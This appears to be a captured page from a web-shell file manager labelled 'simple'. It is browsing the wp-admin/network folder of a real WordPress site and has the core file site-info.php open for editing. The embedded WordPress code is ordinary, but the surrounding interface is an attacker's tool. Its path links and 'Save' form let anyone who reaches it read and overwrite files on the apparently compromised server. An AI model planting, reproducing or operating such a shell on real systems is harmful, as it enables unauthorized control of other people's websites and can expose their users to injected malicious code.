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<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2Fweb%2F'>web</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2F'>www.immokaernten.at</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2F'>htdocs</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2Fwp-admin%2F'>wp-admin</a>/<a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2Fwp-admin%2Fnetwork%2F'>network</a>/</p><hr><h3>✏️ Editing: site-info.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Edit Site Info Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . &#039;/admin.php&#039;;

if ( ! current_user_can( &#039;manage_sites&#039; ) ) {
	wp_die( __( &#039;Sorry, you are not allowed to edit this site.&#039; ) );
}

get_current_screen()-&gt;add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()-&gt;set_help_sidebar( get_site_screen_help_sidebar_content() );

$id = isset( $_REQUEST[&#039;id&#039;] ) ? (int) $_REQUEST[&#039;id&#039;] : 0;

if ( ! $id ) {
	wp_die( __( &#039;Invalid site ID.&#039; ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( &#039;The requested site does not exist.&#039; ) );
}

if ( ! can_edit_network( $details-&gt;site_id ) ) {
	wp_die( __( &#039;Sorry, you are not allowed to access this page.&#039; ), 403 );
}

$parsed_scheme = parse_url( $details-&gt;siteurl, PHP_URL_SCHEME );
$is_main_site  = is_main_site( $id );

if ( isset( $_REQUEST[&#039;action&#039;] ) &amp;&amp; &#039;update-site&#039; === $_REQUEST[&#039;action&#039;] ) {
	check_admin_referer( &#039;edit-site&#039; );

	switch_to_blog( $id );

	// Rewrite rules can&#039;t be flushed during switch to blog.
	delete_option( &#039;rewrite_rules&#039; );

	$blog_data           = wp_unslash( $_POST[&#039;blog&#039;] );
	$blog_data[&#039;scheme&#039;] = $parsed_scheme;

	if ( $is_main_site ) {
		// On the network&#039;s main site, don&#039;t allow the domain or path to change.
		$blog_data[&#039;domain&#039;] = $details-&gt;domain;
		$blog_data[&#039;path&#039;]   = $details-&gt;path;
	} else {
		// For any other site, the scheme, domain, and path can all be changed. We first
		// need to ensure a scheme has been provided, otherwise fallback to the existing.
		$new_url_scheme = parse_url( $blog_data[&#039;url&#039;], PHP_URL_SCHEME );

		if ( ! $new_url_scheme ) {
			$blog_data[&#039;url&#039;] = esc_url( $parsed_scheme . &#039;://&#039; . $blog_data[&#039;url&#039;] );
		}
		$update_parsed_url = parse_url( $blog_data[&#039;url&#039;] );

		// If a path is not provided, use the default of `/`.
		if ( ! isset( $update_parsed_url[&#039;path&#039;] ) ) {
			$update_parsed_url[&#039;path&#039;] = &#039;/&#039;;
		}

		$blog_data[&#039;scheme&#039;] = $update_parsed_url[&#039;scheme&#039;];

		// Make sure to not lose the port if it was provided.
		$blog_data[&#039;domain&#039;] = $update_parsed_url[&#039;host&#039;];
		if ( isset( $update_parsed_url[&#039;port&#039;] ) ) {
			$blog_data[&#039;domain&#039;] .= &#039;:&#039; . $update_parsed_url[&#039;port&#039;];
		}

		$blog_data[&#039;path&#039;] = $update_parsed_url[&#039;path&#039;];
	}

	$existing_details     = get_site( $id );
	$blog_data_checkboxes = array( &#039;public&#039;, &#039;archived&#039;, &#039;spam&#039;, &#039;mature&#039;, &#039;deleted&#039; );

	foreach ( $blog_data_checkboxes as $c ) {
		if ( ! in_array( (int) $existing_details-&gt;$c, array( 0, 1 ), true ) ) {
			$blog_data[ $c ] = $existing_details-&gt;$c;
		} else {
			$blog_data[ $c ] = isset( $_POST[&#039;blog&#039;][ $c ] ) ? 1 : 0;
		}
	}

	update_blog_details( $id, $blog_data );

	// Maybe update home and siteurl options.
	$new_details = get_site( $id );

	$old_home_url    = trailingslashit( esc_url( get_option( &#039;home&#039; ) ) );
	$old_home_parsed = parse_url( $old_home_url );
	$old_home_host   = $old_home_parsed[&#039;host&#039;] . ( isset( $old_home_parsed[&#039;port&#039;] ) ? &#039;:&#039; . $old_home_parsed[&#039;port&#039;] : &#039;&#039; );

	if ( $old_home_host === $existing_details-&gt;domain &amp;&amp; $old_home_parsed[&#039;path&#039;] === $existing_details-&gt;path ) {
		$new_home_url = untrailingslashit( sanitize_url( $blog_data[&#039;scheme&#039;] . &#039;://&#039; . $new_details-&gt;domain . $new_details-&gt;path ) );
		update_option( &#039;home&#039;, $new_home_url );
	}

	$old_site_url    = trailingslashit( esc_url( get_option( &#039;siteurl&#039; ) ) );
	$old_site_parsed = parse_url( $old_site_url );
	$old_site_host   = $old_site_parsed[&#039;host&#039;] . ( isset( $old_site_parsed[&#039;port&#039;] ) ? &#039;:&#039; . $old_site_parsed[&#039;port&#039;] : &#039;&#039; );

	if ( $old_site_host === $existing_details-&gt;domain &amp;&amp; $old_site_parsed[&#039;path&#039;] === $existing_details-&gt;path ) {
		$new_site_url = untrailingslashit( sanitize_url( $blog_data[&#039;scheme&#039;] . &#039;://&#039; . $new_details-&gt;domain . $new_details-&gt;path ) );
		update_option( &#039;siteurl&#039;, $new_site_url );
	}

	restore_current_blog();
	wp_redirect(
		add_query_arg(
			array(
				&#039;update&#039; =&gt; &#039;updated&#039;,
				&#039;id&#039;     =&gt; $id,
			),
			&#039;site-info.php&#039;
		)
	);
	exit;
}

if ( isset( $_GET[&#039;update&#039;] ) ) {
	$messages = array();
	if ( &#039;updated&#039; === $_GET[&#039;update&#039;] ) {
		$messages[] = __( &#039;Site info updated.&#039; );
	}
}

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( &#039;Edit Site: %s&#039; ), esc_html( $details-&gt;blogname ) );

$parent_file  = &#039;sites.php&#039;;
$submenu_file = &#039;sites.php&#039;;

require_once ABSPATH . &#039;wp-admin/admin-header.php&#039;;

?&gt;

&lt;div class=&quot;wrap&quot;&gt;
&lt;h1 id=&quot;edit-site&quot;&gt;&lt;?php echo $title; ?&gt;&lt;/h1&gt;
&lt;p class=&quot;edit-site-actions&quot;&gt;&lt;a href=&quot;&lt;?php echo esc_url( get_home_url( $id, &#039;/&#039; ) ); ?&gt;&quot;&gt;&lt;?php _e( &#039;Visit&#039; ); ?&gt;&lt;/a&gt; | &lt;a href=&quot;&lt;?php echo esc_url( get_admin_url( $id ) ); ?&gt;&quot;&gt;&lt;?php _e( &#039;Dashboard&#039; ); ?&gt;&lt;/a&gt;&lt;/p&gt;
&lt;?php

network_edit_site_nav(
	array(
		&#039;blog_id&#039;  =&gt; $id,
		&#039;selected&#039; =&gt; &#039;site-info&#039;,
	)
);

if ( ! empty( $messages ) ) {
	$notice_args = array(
		&#039;type&#039;        =&gt; &#039;success&#039;,
		&#039;dismissible&#039; =&gt; true,
		&#039;id&#039;          =&gt; &#039;message&#039;,
	);

	foreach ( $messages as $msg ) {
		wp_admin_notice( $msg, $notice_args );
	}
}
?&gt;
&lt;form method=&quot;post&quot; action=&quot;site-info.php?action=update-site&quot;&gt;
	&lt;?php wp_nonce_field( &#039;edit-site&#039; ); ?&gt;
	&lt;input type=&quot;hidden&quot; name=&quot;id&quot; value=&quot;&lt;?php echo esc_attr( $id ); ?&gt;&quot; /&gt;
	&lt;table class=&quot;form-table&quot; role=&quot;presentation&quot;&gt;
		&lt;?php
		// The main site of the network should not be updated on this page.
		if ( $is_main_site ) :
			?&gt;
		&lt;tr class=&quot;form-field&quot;&gt;
			&lt;th scope=&quot;row&quot;&gt;&lt;?php _e( &#039;Site Address (URL)&#039; ); ?&gt;&lt;/th&gt;
			&lt;td&gt;&lt;code&gt;&lt;?php echo esc_url( $parsed_scheme . &#039;://&#039; . $details-&gt;domain . $details-&gt;path ); ?&gt;&lt;/code&gt;&lt;/td&gt;
		&lt;/tr&gt;
			&lt;?php
			// For any other site, the scheme, domain, and path can all be changed.
		else :
			?&gt;
		&lt;tr class=&quot;form-field form-required&quot;&gt;
			&lt;th scope=&quot;row&quot;&gt;&lt;label for=&quot;url&quot;&gt;&lt;?php _e( &#039;Site Address (URL)&#039; ); ?&gt;&lt;/label&gt;&lt;/th&gt;
			&lt;td&gt;&lt;input name=&quot;blog[url]&quot; type=&quot;url&quot; id=&quot;url&quot; value=&quot;&lt;?php echo $parsed_scheme . &#039;://&#039; . esc_attr( $details-&gt;domain ) . esc_attr( $details-&gt;path ); ?&gt;&quot; /&gt;&lt;/td&gt;
		&lt;/tr&gt;
		&lt;?php endif; ?&gt;

		&lt;tr class=&quot;form-field&quot;&gt;
			&lt;th scope=&quot;row&quot;&gt;&lt;label for=&quot;blog_registered&quot;&gt;&lt;?php _ex( &#039;Registered&#039;, &#039;site&#039; ); ?&gt;&lt;/label&gt;&lt;/th&gt;
			&lt;td&gt;&lt;input name=&quot;blog[registered]&quot; type=&quot;text&quot; id=&quot;blog_registered&quot; value=&quot;&lt;?php echo esc_attr( $details-&gt;registered ); ?&gt;&quot; /&gt;&lt;/td&gt;
		&lt;/tr&gt;
		&lt;tr class=&quot;form-field&quot;&gt;
			&lt;th scope=&quot;row&quot;&gt;&lt;label for=&quot;blog_last_updated&quot;&gt;&lt;?php _e( &#039;Last Updated&#039; ); ?&gt;&lt;/label&gt;&lt;/th&gt;
			&lt;td&gt;&lt;input name=&quot;blog[last_updated]&quot; type=&quot;text&quot; id=&quot;blog_last_updated&quot; value=&quot;&lt;?php echo esc_attr( $details-&gt;last_updated ); ?&gt;&quot; /&gt;&lt;/td&gt;
		&lt;/tr&gt;
		&lt;?php
		$site_attributes_title = __( &#039;Attributes&#039; );

		$attribute_fields = array( &#039;public&#039; =&gt; _x( &#039;Public&#039;, &#039;site&#039; ) );
		if ( ! $is_main_site ) {
			$attribute_fields[&#039;archived&#039;] = __( &#039;Archived&#039; );
			$attribute_fields[&#039;spam&#039;]     = _x( &#039;Spam&#039;, &#039;site&#039; );
			$attribute_fields[&#039;deleted&#039;]  = __( &#039;Flagged for Deletion&#039; );
		}
		$attribute_fields[&#039;mature&#039;] = __( &#039;Mature&#039; );
		?&gt;
		&lt;tr&gt;
			&lt;th scope=&quot;row&quot;&gt;&lt;?php echo $site_attributes_title; ?&gt;&lt;/th&gt;
			&lt;td&gt;
			&lt;fieldset&gt;
			&lt;legend class=&quot;screen-reader-text&quot;&gt;&lt;?php echo $site_attributes_title; ?&gt;&lt;/legend&gt;
			&lt;?php foreach ( $attribute_fields as $field_key =&gt; $field_label ) : ?&gt;
				&lt;label&gt;&lt;input type=&quot;checkbox&quot; name=&quot;blog[&lt;?php echo $field_key; ?&gt;]&quot; value=&quot;1&quot; &lt;?php checked( (bool) $details-&gt;$field_key, true ); ?&gt; &lt;?php disabled( ! in_array( (int) $details-&gt;$field_key, array( 0, 1 ), true ) ); ?&gt; /&gt;
				&lt;?php echo $field_label; ?&gt;&lt;/label&gt;&lt;br /&gt;
			&lt;?php endforeach; ?&gt;
			&lt;fieldset&gt;
			&lt;/td&gt;
		&lt;/tr&gt;
	&lt;/table&gt;

	&lt;?php
	/**
	 * Fires at the end of the site info form in network admin.
	 *
	 * @since 5.6.0
	 *
	 * @param int $id The site ID.
	 */
	do_action( &#039;network_site_info_form&#039;, $id );

	submit_button();
	?&gt;
&lt;/form&gt;

&lt;/div&gt;
&lt;?php
require_once ABSPATH . &#039;wp-admin/admin-footer.php&#039;;
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2Fweb%2Fwww.immokaernten.at%2Fhtdocs%2Fwp-admin%2Fnetwork'>🔙 Back</a></p>